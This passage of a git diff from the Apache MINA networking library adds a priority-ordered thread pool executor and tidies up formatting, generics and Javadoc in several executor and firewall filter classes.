eventQueueHandler; + + private final Comparator comparator; + + /** + * Creates a default ThreadPool, with default values : + *

      + *
    • minimum pool size is 0
    • + *
    • maximum pool size is 16
    • + *
    • keepAlive set to 30 seconds
    • + *
    • A default ThreadFactory
    • + *
    • All events are accepted
    • + *
    + */ + public PriorityThreadPoolExecutor() { + this(DEFAULT_INITIAL_THREAD_POOL_SIZE, DEFAULT_MAX_THREAD_POOL, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, + Executors.defaultThreadFactory(), null, null); + } + + /** + * Creates a default ThreadPool, with default values : + *
      + *
    • minimum pool size is 0
    • + *
    • maximum pool size is 16
    • + *
    • keepAlive set to 30 seconds
    • + *
    • A default ThreadFactory
    • + *
    • All events are accepted
    • + *
    + * + * @param comparator The comparator used to prioritize the queue + */ + public PriorityThreadPoolExecutor(Comparator comparator) { + this(DEFAULT_INITIAL_THREAD_POOL_SIZE, DEFAULT_MAX_THREAD_POOL, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, + Executors.defaultThreadFactory(), null, comparator); + } + + /** + * Creates a default ThreadPool, with default values : + *
      + *
    • minimum pool size is 0
    • + *
    • keepAlive set to 30 seconds
    • + *
    • A default ThreadFactory - All events are accepted
    • + *
    + * + * @param maximumPoolSize The maximum pool size + */ + public PriorityThreadPoolExecutor(int maximumPoolSize) { + this(DEFAULT_INITIAL_THREAD_POOL_SIZE, maximumPoolSize, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, + Executors.defaultThreadFactory(), null, null); + } + + /** + * Creates a default ThreadPool, with default values : + *
      + *
    • minimum pool size is 0
    • + *
    • keepAlive set to 30 seconds
    • + *
    • A default ThreadFactory
    • + *
    • All events are accepted
    • + *
    + * + * @param maximumPoolSize The maximum pool size + * @param comparator The The comparator used to prioritize the queue + */ + public PriorityThreadPoolExecutor(int maximumPoolSize, Comparator comparator) { + this(DEFAULT_INITIAL_THREAD_POOL_SIZE, maximumPoolSize, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, + Executors.defaultThreadFactory(), null, comparator); + } + + /** + * Creates a default ThreadPool, with default values : + *
      + *
    • keepAlive set to 30 seconds
    • + *
    • A default ThreadFactory
    • + *
    • All events are accepted
    • + *
    + * + * @param minimumPoolSize The initial pool sizePoolSize + * @param maximumPoolSize The maximum pool size + */ + public PriorityThreadPoolExecutor(int minimumPoolSize, int maximumPoolSize) { + this(minimumPoolSize, maximumPoolSize, DEFAULT_KEEP_ALIVE, TimeUnit.SECONDS, Executors.defaultThreadFactory(), + null, null); + } + + /** + * Creates a default ThreadPool, with default values : + *
      + *
    • A default ThreadFactory
    • + *
    • All events are accepted
    • + *
    + * + * @param minimumPoolSize The initial pool sizePoolSize + * @param maximumPoolSize The maximum pool size + * @param keepAliveTime Default duration for a thread + * @param unit Time unit used for the keepAlive value + */ + public PriorityThreadPoolExecutor(int minimumPoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit) { + this(minimumPoolSize, maximumPoolSize, keepAliveTime, unit, Executors.defaultThreadFactory(), null, null); + } + + /** + * Creates a default ThreadPool, with default values : + *
      + *
    • A default ThreadFactory
    • + *
    + * + * @param minimumPoolSize The initial pool sizePoolSize + * @param maximumPoolSize The maximum pool size + * @param keepAliveTime Default duration for a thread + * @param unit Time unit used for the keepAlive value + * @param eventQueueHandler The queue used to store events + */ + public PriorityThreadPoolExecutor(int minimumPoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, + IoEventQueueHandler eventQueueHandler) { + this(minimumPoolSize, maximumPoolSize, keepAliveTime, unit, Executors.defaultThreadFactory(), eventQueueHandler, + null); + } + + /** + * Creates a default ThreadPool, with default values : + *
      + *
    • A default ThreadFactory
    • + *
    + * + * @param minimumPoolSize The initial pool sizePoolSize + * @param maximumPoolSize The maximum pool size + * @param keepAliveTime Default duration for a thread + * @param unit Time unit used for the keepAlive value + * @param threadFactory The factory used to create threads + */ + public PriorityThreadPoolExecutor(int minimumPoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, + ThreadFactory threadFactory) { + this(minimumPoolSize, maximumPoolSize, keepAliveTime, unit, threadFactory, null, null); + } + + /** + * Creates a new instance of a PrioritisedOrderedThreadPoolExecutor. + * + * @param minimumPoolSize The initial pool sizePoolSize + * @param maximumPoolSize The maximum pool size + * @param keepAliveTime Default duration for a thread + * @param unit Time unit used for the keepAlive value + * @param threadFactory The factory used to create threads + * @param eventQueueHandler The queue used to store events + * @param comparator The comparator used to prioritize the queue + */ + public PriorityThreadPoolExecutor(int minimumPoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, + ThreadFactory threadFactory, IoEventQueueHandler eventQueueHandler, Comparator comparator) { + // We have to initialize the pool with default values (0 and 1) in order + // to + // handle the exception in a better way. We can't add a try {} catch() + // {} + // around the super() call. + super(DEFAULT_INITIAL_THREAD_POOL_SIZE, 1, keepAliveTime, unit, new SynchronousQueue<>(), threadFactory, + new AbortPolicy()); + + if (minimumPoolSize < DEFAULT_INITIAL_THREAD_POOL_SIZE) { + throw new IllegalArgumentException("minimumPoolSize: " + minimumPoolSize); + } + + if ((maximumPoolSize <= 0) || (maximumPoolSize < minimumPoolSize)) { + throw new IllegalArgumentException("maximumPoolSize: " + maximumPoolSize); + } + + // Now, we can setup the pool sizes + super.setMaximumPoolSize(maximumPoolSize); + super.setCorePoolSize(minimumPoolSize); + + // The queueHandler might be null. + if (eventQueueHandler == null) { + this.eventQueueHandler = IoEventQueueHandler.NOOP; + } else { + this.eventQueueHandler = eventQueueHandler; + } + + // The comparator can be null. + this.comparator = comparator; + + if (this.comparator == null) { + this.waitingSessions = new LinkedBlockingQueue<>(); + } else { + this.waitingSessions = new PriorityBlockingQueue<>(); + } + } + + /** + * Get the session's tasks queue. + */ + private SessionQueue getSessionTasksQueue(IoSession session) { + SessionQueue queue = (SessionQueue) session.getAttribute(TASKS_QUEUE); + + if (queue == null) { + queue = new SessionQueue(); + SessionQueue oldQueue = (SessionQueue) session.setAttributeIfAbsent(TASKS_QUEUE, queue); + + if (oldQueue != null) { + queue = oldQueue; + } + } + + return queue; + } + + /** + * @return The associated queue handler. + */ + public IoEventQueueHandler getQueueHandler() { + return eventQueueHandler; + } + + /** + * {@inheritDoc} + */ + @Override + public void setRejectedExecutionHandler(RejectedExecutionHandler handler) { + // Ignore the request. It must always be AbortPolicy. + } + + /** + * Add a new thread to execute a task, if needed and possible. It depends on the + * current pool size. If it's full, we do nothing. + */ + private void addWorker() { + synchronized (workers) { + if (workers.size() >= super.getMaximumPoolSize()) { + return; + } + + // Create a new worker, and add it to the thread pool + Worker worker = new Worker(); + Thread thread = getThreadFactory().newThread(worker); + + workers.add(worker); + + // As we have added a new thread, it's considered as idle. + idleWorkers.incrementAndGet(); + + // Now, we can start it. + thread.start(); + + if (workers.size() > largestPoolSize) { + largestPoolSize = workers.size(); + } + } + } + + /** + * Add a new Worker only if there are no idle worker. + */ + private void addWorkerIfNecessary() { + if (idleWorkers.get() == 0) { + synchronized (workers) { + if (workers.isEmpty() || (idleWorkers.get() == 0)) { + addWorker(); + } + } + } + } + + private void removeWorker() { + synchronized (workers) { + if (workers.size() <= super.getCorePoolSize()) { + return; + } + waitingSessions.offer(EXIT_SIGNAL); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void setMaximumPoolSize(int maximumPoolSize) { + if ((maximumPoolSize <= 0) || (maximumPoolSize < super.getCorePoolSize())) { + throw new IllegalArgumentException("maximumPoolSize: " + maximumPoolSize); + } + + synchronized (workers) { + super.setMaximumPoolSize(maximumPoolSize); + int difference = workers.size() - maximumPoolSize; + while (difference > 0) { + removeWorker(); + --difference; + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException { + + long deadline = System.currentTimeMillis() + unit.toMillis(timeout); + + synchronized (workers) { + while (!isTerminated()) { + long waitTime = deadline - System.currentTimeMillis(); + if (waitTime <= 0) { + break; + } + + workers.wait(waitTime); + } + } + return isTerminated(); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isShutdown() { + return shutdown; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isTerminated() { + if (!shutdown) { + return false; + } + + synchronized (workers) { + return workers.isEmpty(); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void shutdown() { + if (shutdown) { + return; + } + + shutdown = true; + + synchronized (workers) { + for (int i = workers.size(); i > 0; i--) { + waitingSessions.offer(EXIT_SIGNAL); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public List shutdownNow() { + shutdown(); + + List answer = new ArrayList<>(); + SessionEntry entry; + + while ((entry = waitingSessions.poll()) != null) { + if (entry == EXIT_SIGNAL) { + waitingSessions.offer(EXIT_SIGNAL); + Thread.yield(); // Let others take the signal. + continue; + } + + SessionQueue sessionTasksQueue = (SessionQueue) entry.getSession().getAttribute(TASKS_QUEUE); + + synchronized (sessionTasksQueue.tasksQueue) { + + for (Runnable task : sessionTasksQueue.tasksQueue) { + getQueueHandler().polled(this, (IoEvent) task); + answer.add(task); + } + + sessionTasksQueue.tasksQueue.clear(); + } + } + + return answer; + } + + /** + * A Helper class used to print the list of events being queued. + */ + private void print(Queue queue, IoEvent event) { + StringBuilder sb = new StringBuilder(); + sb.append("Adding event ").append(event.getType()).append(" to session ").append(event.getSession().getId()); + boolean first = true; + sb.append("\nQueue : ["); + + for (Runnable elem : queue) { + if (first) { + first = false; + } else { + sb.append(", "); + } + + sb.append(((IoEvent) elem).getType()).append(", "); + } + + sb.append("]\n"); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug(sb.toString()); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void execute(Runnable task) { + if (shutdown) { + rejectTask(task); + } + + // Check that it's a IoEvent task + checkTaskType(task); + + IoEvent event = (IoEvent) task; + + // Get the associated session + IoSession session = event.getSession(); + + // Get the session's queue of events + SessionQueue sessionTasksQueue = getSessionTasksQueue(session); + Queue tasksQueue = sessionTasksQueue.tasksQueue; + + boolean offerSession; + + // propose the new event to the event queue handler. If we + // use a throttle queue handler, the message may be rejected + // if the maximum size has been reached. + boolean offerEvent = eventQueueHandler.accept(this, event); + + if (offerEvent) { + // Ok, the message has been accepted + synchronized (tasksQueue) { + // Inject the event into the executor taskQueue + tasksQueue.offer(event); + + if (sessionTasksQueue.processingCompleted) { + sessionTasksQueue.processingCompleted = false; + offerSession = true; + } else { + offerSession = false; + } + + if (LOGGER.isDebugEnabled()) { + print(tasksQueue, event); + } + } + } else { + offerSession = false; + } + + if (offerSession) { + // As the tasksQueue was empty, the task has been executed + // immediately, so we can move the session to the queue + // of sessions waiting for completion. + waitingSessions.offer(new SessionEntry(session, comparator)); + } + + addWorkerIfNecessary(); + + if (offerEvent) { + eventQueueHandler.offered(this, event); + } + } + + private void rejectTask(Runnable task) { + getRejectedExecutionHandler().rejectedExecution(task, this); + } + + private void checkTaskType(Runnable task) { + if (!(task instanceof IoEvent)) { + throw new IllegalArgumentException("task must be an IoEvent or its subclass."); + } + } + + /** + * {@inheritDoc} + */ + @Override + public int getActiveCount() { + synchronized (workers) { + return workers.size() - idleWorkers.get(); + } + } + + /** + * {@inheritDoc} + */ + @Override + public long getCompletedTaskCount() { + synchronized (workers) { + long answer = completedTaskCount; + for (Worker w : workers) { + answer += w.completedTaskCount.get(); + } + + return answer; + } + } + + /** + * {@inheritDoc} + */ + @Override + public int getLargestPoolSize() { + return largestPoolSize; + } + + /** + * {@inheritDoc} + */ + @Override + public int getPoolSize() { + synchronized (workers) { + return workers.size(); + } + } + + /** + * {@inheritDoc} + */ + @Override + public long getTaskCount() { + return getCompletedTaskCount(); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isTerminating() { + synchronized (workers) { + return isShutdown() && !isTerminated(); + } + } + + /** + * {@inheritDoc} + */ + @Override + public int prestartAllCoreThreads() { + int answer = 0; + synchronized (workers) { + for (int i = super.getCorePoolSize() - workers.size(); i > 0; i--) { + addWorker(); + answer++; + } + } + return answer; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean prestartCoreThread() { + synchronized (workers) { + if (workers.size() < super.getCorePoolSize()) { + addWorker(); + return true; + } else { + return false; + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public BlockingQueue getQueue() { + throw new UnsupportedOperationException(); + } + + /** + * {@inheritDoc} + */ + @Override + public void purge() { + // Nothing to purge in this implementation. + } + + /** + * {@inheritDoc} + */ + @Override + public boolean remove(Runnable task) { + checkTaskType(task); + IoEvent event = (IoEvent) task; + IoSession session = event.getSession(); + SessionQueue sessionTasksQueue = (SessionQueue) session.getAttribute(TASKS_QUEUE); + + if (sessionTasksQueue == null) { + return false; + } + + boolean removed; + Queue tasksQueue = sessionTasksQueue.tasksQueue; + + synchronized (tasksQueue) { + removed = tasksQueue.remove(task); + } + + if (removed) { + getQueueHandler().polled(this, event); + } + + return removed; + } + + /** + * {@inheritDoc} + */ + @Override + public void setCorePoolSize(int minimumPoolSize) { + if (minimumPoolSize < 0) { + throw new IllegalArgumentException("minimumPoolSize: " + minimumPoolSize); + } + if (minimumPoolSize > super.getMaximumPoolSize()) { + throw new IllegalArgumentException("minimumPoolSize exceeds maximumPoolSize"); + } + + synchronized (workers) { + if (super.getCorePoolSize() > minimumPoolSize) { + for (int i = super.getCorePoolSize() - minimumPoolSize; i > 0; i--) { + removeWorker(); + } + } + super.setCorePoolSize(minimumPoolSize); + } + } + + private class Worker implements Runnable { + + private AtomicLong completedTaskCount = new AtomicLong(0); + + private Thread thread; + + /** + * @inheritedDoc + */ + @Override + public void run() { + thread = Thread.currentThread(); + + try { + for (;;) { + IoSession session = fetchSession(); + + idleWorkers.decrementAndGet(); + + if (session == null) { + synchronized (workers) { + if (workers.size() > getCorePoolSize()) { + break; + } + } + } + + if (session == EXIT_SIGNAL) { + break; + } + + if (session != null) { + runTasks(getSessionTasksQueue(session)); + } + + idleWorkers.incrementAndGet(); + } + } finally { + synchronized (workers) { + workers.remove(this); + PriorityThreadPoolExecutor.this.completedTaskCount += completedTaskCount.get(); + workers.notifyAll(); + } + } + } + + private IoSession fetchSession() { + SessionEntry entry = null; + long currentTime = System.currentTimeMillis(); + long deadline = currentTime + getKeepAliveTime(TimeUnit.MILLISECONDS); + + for (;;) { + try { + long waitTime = deadline - currentTime; + + if (waitTime <= 0) { + break; + } + + try { + entry = waitingSessions.poll(waitTime, TimeUnit.MILLISECONDS); + break; + } finally { + if (entry != null) { + currentTime = System.currentTimeMillis(); + } + } + } catch (InterruptedException e) { + // Ignore. + continue; + } + } + + if (entry != null) { + return entry.getSession(); + } + return null; + } + + private void runTasks(SessionQueue sessionTasksQueue) { + for (;;) { + Runnable task; + Queue tasksQueue = sessionTasksQueue.tasksQueue; + + synchronized (tasksQueue) { + task = tasksQueue.poll(); + + if (task == null) { + sessionTasksQueue.processingCompleted = true; + break; + } + } + + eventQueueHandler.polled(PriorityThreadPoolExecutor.this, (IoEvent) task); + + runTask(task); + } + } + + private void runTask(Runnable task) { + beforeExecute(thread, task); + boolean ran = false; + try { + task.run(); + ran = true; + afterExecute(task, null); + completedTaskCount.incrementAndGet(); + } catch (RuntimeException e) { + if (!ran) { + afterExecute(task, e); + } + throw e; + } + } + } + + /** + * A class used to store the ordered list of events to be processed by the + * session, and the current task state. + */ + private class SessionQueue { + /** A queue of ordered event waiting to be processed */ + private final Queue tasksQueue = new ConcurrentLinkedQueue<>(); + + /** The current task state */ + private boolean processingCompleted = true; + } + + /** + * A class used to preserve first-in-first-out order of sessions that have equal + * priority. + */ + static class SessionEntry implements Comparable { + private final long seqNum; + private final IoSession session; + private final Comparator comparator; + + public SessionEntry(IoSession session, Comparator comparator) { + if (session == null) { + throw new IllegalArgumentException("session"); + } + seqNum = seq.getAndIncrement(); + this.session = session; + this.comparator = comparator; + } + + public IoSession getSession() { + return session; + } + + public int compareTo(SessionEntry other) { + if (other == this) { + return 0; + } + + if (other.session == this.session) { + return 0; + } + + // An exit signal should always be preferred. + if (this == EXIT_SIGNAL) { + return -1; + } + if (other == EXIT_SIGNAL) { + return 1; + } + + int res = 0; + + // If there's a comparator, use it to prioritise events. + if (comparator != null) { + res = comparator.compare(session, other.session); + } + + // FIFO tiebreaker. + if (res == 0) { + res = (seqNum < other.seqNum ? -1 : 1); + } + + return res; + } + } +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/UnorderedThreadPoolExecutor.java b/mina-core/src/main/java/org/apache/mina/filter/executor/UnorderedThreadPoolExecutor.java index 11862a4790..6664659e5c 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/UnorderedThreadPoolExecutor.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/UnorderedThreadPoolExecutor.java @@ -30,6 +30,7 @@ import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicLong; import org.apache.mina.core.session.IoEvent; @@ -54,61 +55,111 @@ public class UnorderedThreadPoolExecutor extends ThreadPoolExecutor { private static final Runnable EXIT_SIGNAL = new Runnable() { + /** + * {@inheritDoc} + */ + @Override public void run() { - throw new Error( - "This method shouldn't be called. " + - "Please file a bug report."); + throw new Error("This method shouldn't be called. " + "Please file a bug report."); } }; - private final Set workers = new HashSet(); + private final Set workers = new HashSet<>(); private volatile int corePoolSize; + private volatile int maximumPoolSize; + private volatile int largestPoolSize; + private final AtomicInteger idleWorkers = new AtomicInteger(); private long completedTaskCount; + private volatile boolean shutdown; private final IoEventQueueHandler queueHandler; + /** + * Creates a new UnorderedThreadPoolExecutor instance + */ public UnorderedThreadPoolExecutor() { this(16); } + /** + * Creates a new UnorderedThreadPoolExecutor instance + * + * @param maximumPoolSize The maximum number of threads in the pool + */ public UnorderedThreadPoolExecutor(int maximumPoolSize) { this(0, maximumPoolSize); } + /** + * Creates a new UnorderedThreadPoolExecutor instance + * + * @param corePoolSize The initial threads pool size + * @param maximumPoolSize The maximum number of threads in the pool + */ public UnorderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize) { this(corePoolSize, maximumPoolSize, 30, TimeUnit.SECONDS); } - public UnorderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit) { + /** + * Creates a new UnorderedThreadPoolExecutor instance + * + * @param corePoolSize The initial threads pool size + * @param maximumPoolSize The maximum number of threads in the pool + * @param keepAliveTime The time to keep threads alive + * @param unit The time unit for the keepAliveTime + */ + public UnorderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit) { this(corePoolSize, maximumPoolSize, keepAliveTime, unit, Executors.defaultThreadFactory()); } - public UnorderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + /** + * Creates a new UnorderedThreadPoolExecutor instance + * + * @param corePoolSize The initial threads pool size + * @param maximumPoolSize The maximum number of threads in the pool + * @param keepAliveTime The time to keep threads alive + * @param unit The time unit for the keepAliveTime + * @param queueHandler The Event queue handler to use + */ + public UnorderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, IoEventQueueHandler queueHandler) { this(corePoolSize, maximumPoolSize, keepAliveTime, unit, Executors.defaultThreadFactory(), queueHandler); } - public UnorderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + /** + * Creates a new UnorderedThreadPoolExecutor instance + * + * @param corePoolSize The initial threads pool size + * @param maximumPoolSize The maximum number of threads in the pool + * @param keepAliveTime The time to keep threads alive + * @param unit The time unit for the keepAliveTime + * @param threadFactory The Thread factory to use + */ + public UnorderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, ThreadFactory threadFactory) { this(corePoolSize, maximumPoolSize, keepAliveTime, unit, threadFactory, null); } - public UnorderedThreadPoolExecutor( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + /** + * Creates a new UnorderedThreadPoolExecutor instance + * + * @param corePoolSize The initial threads pool size + * @param maximumPoolSize The maximum number of threads in the pool + * @param keepAliveTime The time to keep threads alive + * @param unit The time unit for the keepAliveTime + * @param threadFactory The Thread factory to use + * @param queueHandler The Event queue handler to use + */ + public UnorderedThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, ThreadFactory threadFactory, IoEventQueueHandler queueHandler) { - super(0, 1, keepAliveTime, unit, new LinkedBlockingQueue(), threadFactory, new AbortPolicy()); + super(0, 1, keepAliveTime, unit, new LinkedBlockingQueue<>(), threadFactory, new AbortPolicy()); + if (corePoolSize < 0) { throw new IllegalArgumentException("corePoolSize: " + corePoolSize); } @@ -118,14 +169,18 @@ public UnorderedThreadPoolExecutor( } if (queueHandler == null) { - queueHandler = IoEventQueueHandler.NOOP; + this.queueHandler = IoEventQueueHandler.NOOP; + } else { + this.queueHandler = queueHandler; } this.corePoolSize = corePoolSize; this.maximumPoolSize = maximumPoolSize; - this.queueHandler = queueHandler; } + /** + * @return The Queue handler in use + */ public IoEventQueueHandler getQueueHandler() { return queueHandler; } @@ -143,9 +198,14 @@ private void addWorker() { Worker worker = new Worker(); Thread thread = getThreadFactory().newThread(worker); + + workers.add(worker); + + // As we have added a new thread, it's considered as idle. idleWorkers.incrementAndGet(); + + // Now, we can start it. thread.start(); - workers.add(worker); if (workers.size() > largestPoolSize) { largestPoolSize = workers.size(); @@ -180,8 +240,7 @@ public int getMaximumPoolSize() { @Override public void setMaximumPoolSize(int maximumPoolSize) { if (maximumPoolSize <= 0 || maximumPoolSize < corePoolSize) { - throw new IllegalArgumentException("maximumPoolSize: " - + maximumPoolSize); + throw new IllegalArgumentException("maximumPoolSize: " + maximumPoolSize); } synchronized (workers) { @@ -195,8 +254,7 @@ public void setMaximumPoolSize(int maximumPoolSize) { } @Override - public boolean awaitTermination(long timeout, TimeUnit unit) - throws InterruptedException { + public boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException { long deadline = System.currentTimeMillis() + unit.toMillis(timeout); @@ -238,7 +296,7 @@ public void shutdown() { shutdown = true; synchronized (workers) { - for (int i = workers.size(); i > 0; i --) { + for (int i = workers.size(); i > 0; i--) { getQueue().offer(EXIT_SIGNAL); } } @@ -248,7 +306,7 @@ public void shutdown() { public List shutdownNow() { shutdown(); - List answer = new ArrayList(); + List answer = new ArrayList<>(); Runnable task; while ((task = getQueue().poll()) != null) { if (task == EXIT_SIGNAL) { @@ -274,6 +332,7 @@ public void execute(Runnable task) { IoEvent e = (IoEvent) task; boolean offeredEvent = queueHandler.accept(this, e); + if (offeredEvent) { getQueue().offer(e); } @@ -306,8 +365,8 @@ public int getActiveCount() { public long getCompletedTaskCount() { synchronized (workers) { long answer = completedTaskCount; - for (Worker w: workers) { - answer += w.completedTaskCount; + for (Worker w : workers) { + answer += w.completedTaskCount.get(); } return answer; @@ -342,9 +401,9 @@ public boolean isTerminating() { public int prestartAllCoreThreads() { int answer = 0; synchronized (workers) { - for (int i = corePoolSize - workers.size() ; i > 0; i --) { + for (int i = corePoolSize - workers.size(); i > 0; i--) { addWorker(); - answer ++; + answer++; } } return answer; @@ -357,7 +416,7 @@ public boolean prestartCoreThread() { addWorker(); return true; } - + return false; } } @@ -392,7 +451,7 @@ public void setCorePoolSize(int corePoolSize) { synchronized (workers) { if (this.corePoolSize > corePoolSize) { - for (int i = this.corePoolSize - corePoolSize; i > 0; i --) { + for (int i = this.corePoolSize - corePoolSize; i > 0; i--) { removeWorker(); } } @@ -402,9 +461,14 @@ public void setCorePoolSize(int corePoolSize) { private class Worker implements Runnable { - private volatile long completedTaskCount; + private AtomicLong completedTaskCount = new AtomicLong(0); + private Thread thread; + /** + * {@inheritDoc} + */ + @Override public void run() { thread = Thread.currentThread(); @@ -428,19 +492,17 @@ public void run() { break; } - try { - if (task != null) { - queueHandler.polled(UnorderedThreadPoolExecutor.this, (IoEvent) task); - runTask(task); - } - } finally { - idleWorkers.incrementAndGet(); + if (task != null) { + queueHandler.polled(UnorderedThreadPoolExecutor.this, (IoEvent) task); + runTask(task); } + + idleWorkers.incrementAndGet(); } } finally { synchronized (workers) { workers.remove(this); - UnorderedThreadPoolExecutor.this.completedTaskCount += completedTaskCount; + UnorderedThreadPoolExecutor.this.completedTaskCount += completedTaskCount.get(); workers.notifyAll(); } } @@ -450,9 +512,11 @@ private Runnable fetchTask() { Runnable task = null; long currentTime = System.currentTimeMillis(); long deadline = currentTime + getKeepAliveTime(TimeUnit.MILLISECONDS); + for (;;) { try { long waitTime = deadline - currentTime; + if (waitTime <= 0) { break; } @@ -480,7 +544,7 @@ private void runTask(Runnable task) { task.run(); ran = true; afterExecute(task, null); - completedTaskCount ++; + completedTaskCount.incrementAndGet(); } catch (RuntimeException e) { if (!ran) { afterExecute(task, e); diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/WriteRequestFilter.java b/mina-core/src/main/java/org/apache/mina/filter/executor/WriteRequestFilter.java index a644857d7b..df89802459 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/WriteRequestFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/WriteRequestFilter.java @@ -46,7 +46,7 @@ * new WriteRequestFilter(new IoEventQueueThrottle())); * * - *

    Known issues

    + *

    Known issues

    * * You can run into a dead lock if you run this filter with the blocking * {@link IoEventQueueHandler} implementation such as {@link IoEventQueueThrottle} @@ -73,6 +73,8 @@ public WriteRequestFilter() { /** * Creates a new instance with the specified {@link IoEventQueueHandler}. + * + * @param queueHandler The {@link IoEventQueueHandler} instance to use */ public WriteRequestFilter(IoEventQueueHandler queueHandler) { if (queueHandler == null) { @@ -82,17 +84,18 @@ public WriteRequestFilter(IoEventQueueHandler queueHandler) { } /** - * Returns the {@link IoEventQueueHandler} which is attached to this + * @return the {@link IoEventQueueHandler} which is attached to this * filter. */ public IoEventQueueHandler getQueueHandler() { return queueHandler; } + /** + * {@inheritDoc} + */ @Override - public void filterWrite( - NextFilter nextFilter, - IoSession session, WriteRequest writeRequest) throws Exception { + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { final IoEvent e = new IoEvent(IoEventType.WRITE, session, writeRequest); @@ -106,6 +109,10 @@ public void filterWrite( // We can track the write request only when it has a future. queueHandler.offered(this, e); writeFuture.addListener(new IoFutureListener() { + /** + * @inheritedDoc + */ + @Override public void operationComplete(WriteFuture future) { queueHandler.polled(WriteRequestFilter.this, e); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/executor/package-info.java new file mode 100644 index 0000000000..8087ede68d --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * IoFilters that provide flexible thread model and event queue monitoring interface. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.executor; diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/package.html b/mina-core/src/main/java/org/apache/mina/filter/executor/package.html deleted file mode 100644 index 192116b8fc..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -IoFilters that provide flexible thread model and event queue -monitoring interface. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/firewall/BlacklistFilter.java b/mina-core/src/main/java/org/apache/mina/filter/firewall/BlacklistFilter.java index 0dc6bf6954..9467ccb1d7 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/firewall/BlacklistFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/firewall/BlacklistFilter.java @@ -30,6 +30,7 @@ import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -41,9 +42,12 @@ * @org.apache.xbean.XBean */ public class BlacklistFilter extends IoFilterAdapter { - private final List blacklist = new CopyOnWriteArrayList(); + /** The list of blocked addresses */ + private final List blacklist = new CopyOnWriteArrayList<>(); + /** A logger for this class */ private final static Logger LOGGER = LoggerFactory.getLogger(BlacklistFilter.class); + /** * Sets the addresses to be blacklisted. * @@ -55,10 +59,11 @@ public void setBlacklist(InetAddress[] addresses) { if (addresses == null) { throw new IllegalArgumentException("addresses"); } + blacklist.clear(); - for (int i = 0; i < addresses.length; i++) { - InetAddress addr = addresses[i]; - block(addr); + + for (InetAddress address:addresses) { + block(address); } } @@ -73,12 +78,14 @@ public void setSubnetBlacklist(Subnet[] subnets) { if (subnets == null) { throw new IllegalArgumentException("Subnets must not be null"); } + blacklist.clear(); + for (Subnet subnet : subnets) { block(subnet); } } - + /** * Sets the addresses to be blacklisted. * @@ -95,8 +102,8 @@ public void setBlacklist(Iterable addresses) { } blacklist.clear(); - - for( InetAddress address : addresses ){ + + for (InetAddress address : addresses) { block(address); } } @@ -112,7 +119,9 @@ public void setSubnetBlacklist(Iterable subnets) { if (subnets == null) { throw new IllegalArgumentException("Subnets must not be null"); } + blacklist.clear(); + for (Subnet subnet : subnets) { block(subnet); } @@ -120,6 